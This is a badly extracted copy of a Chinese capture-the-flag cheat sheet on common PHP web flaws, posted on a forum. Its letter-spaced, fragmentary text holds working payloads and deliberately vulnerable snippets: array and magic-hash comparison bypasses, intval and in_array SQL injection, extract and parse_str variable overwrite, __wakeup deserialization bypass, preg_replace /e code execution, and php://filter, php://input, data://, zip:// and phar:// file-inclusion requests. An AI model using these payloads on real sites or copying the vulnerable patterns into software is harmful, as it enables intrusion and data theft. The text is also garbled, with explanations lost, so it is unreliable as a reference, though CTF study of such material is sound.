[21030] 2020-05-14_ctf中php常见的考点

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2020-05-14_ctf中php常见的考点 c t f p h p L e m o n S e c   2 0 2 0 - 0 5 - 1 4 P H P   @ P H P   0 $ _ G E T     $ _ P O S T   G E T   p h p   s t r c m p $ _ P O S T   / /     p o s t   $ _ G E T   / /     g e t   $ _ C O O K I E   / /     c o o k i e $ _ S E S S I O N   / /     s e s s i o n $ _ F I L E   / /   $ _ R E Q U E S T   / /     $ _ G E T $ _ P O S T $ _ C O O K I E   h t t p : / / c t f 4 . s h i y a n b a r . c o m / w e b / f a l s e . p h p ? n a m e [ ] = a & p a s s w o r d [ ] = b n a m e [ ] = a $ _ G E T [ ' n a m e ' ]   =   [ a ] [ ] = a $ _ G E T u r l d e c o d e $ _ P O S T u s e r [ ] = a d m i n $ _ P O S T [ ' u s e r ' ] [ ' a d m i n ' ]
s t r c m p   :   s t r 1     s t r 2     <   0   s t r 1     s t r 2     >   0   0 5 . 2   s t r i n g 5 . 3 . 3   0 5 . 5   s t r i n g r e t u r n 1 2 3 4 $ a r r a y = [ 1 ,   2 ,   3 ] ; / /     0 / /   n u l l   n u l l     f a l s e v a r _ d u m p ( s t r c m p ( $ a r r a y ,   ' a b c ' ) ) ; s h a 1     m d 5   m d 5     s h a 1     p h p     f a s l e i n t v a l i n t v a l ( )   使 i n t v a l ( )     0 i s _ n u m e r i c P H P i s _ n u m e r i c 广 s h a 1 ( [ ] )   = = =   f a l s e m d 5 ( [ ] )   = = =   f a l s e i n t v a l v a r _ d u m p ( i n t v a l ( ' 2 ' ) )   / /   2 v a r _ d u m p ( i n t v a l ( ' 3 a b c d ' ) )   / /   3 v a r _ d u m p ( i n t v a l ( ' a b c d ' ) )   / /   0 $ a 1 0 0 2   u n i o n i f ( i n t v a l ( $ a )   >   1 0 0 0 )   { m y s q l _ q u e r y ( " s e l e c t   *   f r o m   n e w s   w h e r e   i d = " . $ a ) } < ? p h p
i n _ a r r a y i n _ a r r a y   G E T     t y p e i d     1 2 3 4   i n _ a r r a y     i n _ a r r a y   = =     = = =   t r u e h a s h   0 e     0 * 1 0 ^ x x x = 0   m d 5     0 e   < ? p h p e c h o   i s _ n u m e r i c ( 2 3 3 3 3 3 ) ;   #   1 e c h o   i s _ n u m e r i c ( ' 2 3 3 3 3 3 ' ) ;   #   1 e c h o   i s _ n u m e r i c ( 0 x 2 3 3 3 3 3 ) ;   #   1 e c h o   i s _ n u m e r i c ( ' 0 x 2 3 3 3 3 3 ' ) ;   #   1 e c h o   i s _ n u m e r i c ( ' 2 3 3 3 3 3 a b c ' ) ;   #   0 ? > i n _ a r r a y ( ' b ' ,   a r r a y ( ' a ' ,   ' b ' ,   ' c ' ) ; t y p e i d = 1   u n i o n   s e l e c t . . i f   ( i n _ a r r a y ( $ _ G E T ( ' t y p e i d ' ] ,   a r r a y ( 1 ,   2 ,   3 ,   4 ) ) )   { $ s q l = " s e l e c t   .   w h e r e   t y p e i d = " . $ _ G E T [ ' t y p e i d ' ] " ; e c h o   $ s q l ; } = = = = = / /   0 x   1 6 5 4 9 7 5 5 8 1 3 8 8 1 6   0 x c c c c c c c c c / /   ' 0 x c c c c c c c c c '   = =   ' 5 4 9 7 5 5 8 1 3 8 8 ' / /   0 1   = =   ' 1 ' 1   = =   ' 0 1 ' 1 0   = =   ' 1 e 1 ' 1 0 0   = =   ' 1 e 2 ' 0   = =   ' a '   / /   a     0 / /   ' 0 x A B C d e f '   = =   '   0 x A B C d e f ' ' 0 0 1 0 e 2 '   = =   ' 1 e 3 ' / /   ' 0 e 5 0 9 3 2 3 4 '     0 ' 0 e a b c 3 2 3 4 '     0 / /   t r u e ' 0 e 5 0 9 3 6 7 2 1 3 4 1 8 2 0 6 7 0 0 8 4 2 0 0 8 7 6 3 5 1 4 '   = =   ' 0 e 4 8 1 0 3 6 4 9 0 8 6 7 6 6 1 1 1 3 2 6 0 0 3 4 9 0 0 7 5 2 ' / /   t r u e ' 0 e 4 8 1 0 3 6 4 9 0 8 6 7 6 6 1 1 1 3 2 6 0 0 3 4 9 0 0 7 5 2 '   = =   ' 0 '
  h a s h   s w i t c h   s w i t c h     c a s e     s w i t c h     i n t   i   i s   l e s s   t h a n   3   b u t   n o t   n e g a t i v e   s w i t c h ( )     2 p r e g _ m a t c h ( ' 0 e 4 8 1 0 3 6 4 9 0 8 6 7 6 6 1 1 1 3 2 6 0 0 3 4 9 0 0 7 5 2 '   = =   ' 0 ' / /   f a l s e v a r _ d u m p ( ' 0 '   = =   ' 0 e 1 a b c d ' ) ; / /   t r u e v a r _ d u m p ( 0   = =   ' 0 e 1 a b c d ' ) ; v a r _ d u m p ( m d 5 ( ' 2 4 0 6 1 0 7 0 8 ' )   = =   m d 5 ( ' Q N K C D Z O ' ) ) ; v a r _ d u m p ( m d 5 ( ' a a b g 7 X S s ' )   = =   m d 5 ( ' a a b C 9 R q S ' ) ) ; v a r _ d u m p ( s h a 1 ( ' a a r o Z m O k ' )   = =   s h a 1 ( ' a a K 1 S T f Y ' ) ) ; v a r _ d u m p ( s h a 1 ( ' a a O 8 z K Z F ' )   = =   s h a 1 ( ' a a 3 O F F 9 m ' ) ) ; 0 e < ? p h p $ s a l t   =   ' v u n p ' ; $ h a s h   =   ' 0 e 6 1 2 1 9 8 6 3 4 3 1 6 9 4 4 0 1 3 5 8 5 6 2 1 0 6 1 1 1 5 ' ; f o r   ( $ i = 1 ;   $ i < 1 0 0 0 0 0 0 0 0 0 0 0 ;   $ i + + )   { i f   ( m d 5 ( $ s a l t   .   $ i )   = =   $ h a s h )   { e c h o   $ i ; b r e a k ; } } e c h o   '   d o n e ' ; $ i   = " 2 a b c " ; s w i t c h   ( $ i )   { c a s e   0 : c a s e   1 : c a s e   2 : e c h o   " i   i s   l e s s   t h a n   3   b u t   n o t   n e g a t i v e " ; b r e a k ; c a s e   3 : e c h o   " i   i s   3 " ; } $ i ^ $
) e r e g   % 0 0   e r e g     % 0 0   e x t r a c t e x t r a c t ( )   p a r s e _ s t r p a r s e _ s t r ( )     p a r s e _ s t r ( )     m b _ p a r s e _ s t r ( ) p a r s e _ s t r     s t r     U R L   q u e r y   s t r i n g $ $     k e y   使 $ i p   =   ' 1 . 1 . 1 . 1   a b c d ' ;   / /   i f ( ! p r e g _ m a t c h ( " / ( d + ) . ( d + ) . ( d + ) . ( d + ) / " , $ i p ) )   { d i e ( ' e r r o r ' ) ; }   e l s e   { / /   e c h o ( ' k e y . . . ' ) } < ? p h p i f   ( e r e g   ( " ^ [ a - z A - Z ] + $ " ,   $ _ G E T [ ' a ' ] )   = = =   F A L S E )   { e c h o   ' Y o u   p a s s w o r d   m u s t   b e   a l p h a b e t ' ; } ? > a = a b c d % 0 0 1 2 3 4 < ? p h p $ a u t h   =   ' 0 ' ; / /   $ a u t h e x t r a c t ( $ _ G E T ) ; i f ( $ a u t h   = =   1 ) { e c h o   " p r i v a t e ! " ; }   e l s e { e c h o   " p u b l i c ! " ; } ? > / / v a r . p h p ? v a r = n e w $ v a r = ' i n i t ' ; p a r s e _ s t r ( $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ] ) ; / /   $ v a r     n e w e c h o   $ v a r ; $ $
u n s e t   P H P     p h p     f a s t - c g i   . p h p 2 . p h p 3 . p h p 4 . p h p 5 . p h p 7 . p h t m l 退 P H P 使   e c h o   a ;   p h p . i n i     A S P   $ _   =   ' _ P O S T ' ; / /   $ $ _     $ _ P O S T / /   h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? _ C O N F I G = 1 2 3 $ _ C O N F I G [ ' e x t r a S e c u r e ' ]   =   t r u e ; f o r e a c h ( a r r a y ( ' _ G E T ' , ' _ P O S T ' )   a s   $ m e t h o d )   { f o r e a c h ( $ $ m e t h o d   a s   $ k e y = > $ v a l u e )   { / /   $ k e y   = =   _ C O N F I G / /   $ $ k e y   = =   $ _ C O N F I G / /     $ _ C O N F I G   u n s e t ( $ $ k e y ) ; } } i f   ( $ _ C O N F I G [ ' e x t r a S e c u r e ' ]   = =   f a l s e )   { e c h o   ' f l a g   { * * * * } ' ; } u n s e t ( $ b a r ) ; $ b a r < ? < s c r i p t   l a n g u a g e = " p h p " > e c h o   b a s e 6 4 _ e n c o d e ( f i l e _ g e t _ c o n t e n t s ( ' f l a g . p h p ' ) ) ; < / s c r i p t >       < ? = ' a ' ; ? > ;   A l l o w   A S P - s t y l e   < %   % >   t a g s . ;   h t t p : / / p h p . n e t / a s p - t a g s a s p _ t a g s   =   O n
使 m t _ r a n d ( ) m t _ r a n d ( )   l i n u x   6 4   r a n d ( )     m t _ r a n d ( )   2 1 4 7 4 8 3 6 4 7   2 ^ 3 1 - 1 0     2 1 4 7 4 8 3 6 4 7     p h p     C     p h p _ m t _ s e e d   p h p   >   4 . 2 . 0     s r a n d ( )     m t _ s r a n d ( )     P H P   p h p     m t _ r a n d ( )   r a n d ( ) r a n d ( )     s r a n d ( ) : _ _ c o n s t r u c t ( ) ( n e w ) u n s e r i a l i z e ( ) _ _ d e s t r u c t ( ) _ _ w a k e u p ( )   u n s e r i a l i z e ( ) P H P / < %   e c h o   ' a ' ;   % > $ s e e d   =   1 2 3 4 5 ; m t _ r a n d ( $ s e e d ) ; $ s s   =   m t _ r a n d ( ) ; #   1 s t a t e [ i ]   =   s t a t e [ i - 3 ]   +   s t a t e [ i - 3 1 ] < ? p h p $ r a n d S t r   =   a r r a y ( ) ; f o r ( $ i = 0 ; $ i < 5 0 ; $ i + + )   {   / /   3 2 $ r a n d S t r [ $ i ] = r a n d ( 0 , 3 0 ) ; i f ( $ i > = 3 1 )   { e c h o   " $ r a n d S t r [ $ i ] = ( " . $ r a n d S t r [ $ i - 3 1 ] . " + " . $ r a n d S t r [ $ i - 3 ] . " )   m o d   3 1 " . " n " ; } } ? > u n s e r i a l i z e ( ) _ _ w a k e u p ( ) _ _ d e s t r u c t ( ) _ _ w a k e u p ( )
P H P     B u g 使   p a y l o a d   1 2   `   `     s h e l l _ e x e c   p r e g _ r e p l a c e ( ) _ _ d e s t r u c t ( ) _ _ w a k e u p _ _ w a k e u p < ? p h p c l a s s   x c t f { p u b l i c   $ f l a g   =   " 1 1 1 " ; p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) { e x i t ( ' b a d   r e q u e s t s ' ) ; } } / / e c h o   s e r i a l i z e ( n e w   x c t f ( ) ) ; e c h o   u n s e r i a l i z e ( $ _ G E T [ ' c o d e ' ] ) ; e c h o   " f l a g { * * * * } " ; ? > _ _ w a k e u p #   O : 4 : " x c t f " : 1 : { s : 4 : " f l a g " ; s : 3 : " 1 1 1 " ; } h t t p : / / w w w . e x a m p l e . c o m / i n d e x . p h p ? c o d e = O : 4 : " x c t f " : 2 : { s : 4 : " f l a g " ; s : 3 : " 1 1 1 " ; } _ _ w a k e u p h t t p : / / 1 0 . 2 . 1 . 1 : 2 0 7 7 0 / i n d e x . p h p ? p a g e = u p l o a d   u r l   h t t p : / / 1 0 . 2 . 1 . 1 : 2 0 7 7 0 / i n d e x . p h p ? p a g e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = u p l o a d       ` $ _ G E T [ ' v ' ] `     s h e l l _ e x e c ( $ _ G E T [ ' v ' ] )
1 .   e 2 .   e c h o 访 p h p : / / f i l t e r p h p : / / i n p u t     P O S T   d a t a : / /   i n c l u d e     f i l e _ g e t _ c o n t e n t s   p h a r : / / j p g a l l o w _ u r l _ i n c l u d e = o n   p h a r s h e l l . p h p x x x . z i p x x x . j p g 使 p h a r   j p g   z i p : / /   p h a r : / /   使   z i p : / / 1 . p h p z i p z i p p n g p n g / /   e c h o   p r e g _ r e p l a c e ( ' / t e s t / e ' ,   ' p h p i n f o ( ) ' ,   ' j u s t   t e s t ' ) ; / /   e c h o   p r e g _ r e p l a c e ( ' / t e s t / e ' ,   ' p h p i n f o ( ) ' ,   ' j u s t   t e s x t ' ) ; @ p r e g _ r e p l a c e ( " / / e " ,   $ _ G E T [ ' h ' ] ,   " A c c e s s   D e n i e d " ) ; e c h o   p r e g _ r e p l a c e ( " / t e s t / e " ,   $ _ G E T [ " h " ] ,   " j u t s t   t e s t " ) ; h t t p : / / l o c a l h o s t : 8 0 0 0 / t e s t b u g . p h p ? h = p h p i n f o ( ) ; / l f i . p h p ? f i l e = p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f l a g . p h p / l f i . p h p ? f i l e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f l a g . p h p / t e s t . p h p ? f i l e = p h p : / / i n p u t / t e s t . p h p ? f i l e = d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A g c G h w a W 5 m b y g p O 2 V 4 a X Q o K T s v L w = = $ f i l e = $ _ G E T [ ' f i l e ' ] ; $ d a t a   =   @ f i l e _ g e t _ c o n t e n t s ( $ a , ' r ' ) ; e c h o   $ d a t a ; / i n d e x . p h p ? i d = p h a r : / / / x x x . j p g / s h e l l
1 . z i p 1 . p h p   P O S T     p h p     p h p 退     S I G S E G V     p h p   退 / p h p ? f i l e = z i p : / / 1 . p n g % 2 3 1 . p h p / /   p n g 使 z i p / p h p ? f i l e = z i p : / / 1 . z i p % 2 3 1 . p h p t m p p h p [ A - Z a - z 0 - 9 ] { 6 } / t m p / t m p / p h p x x x x x x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则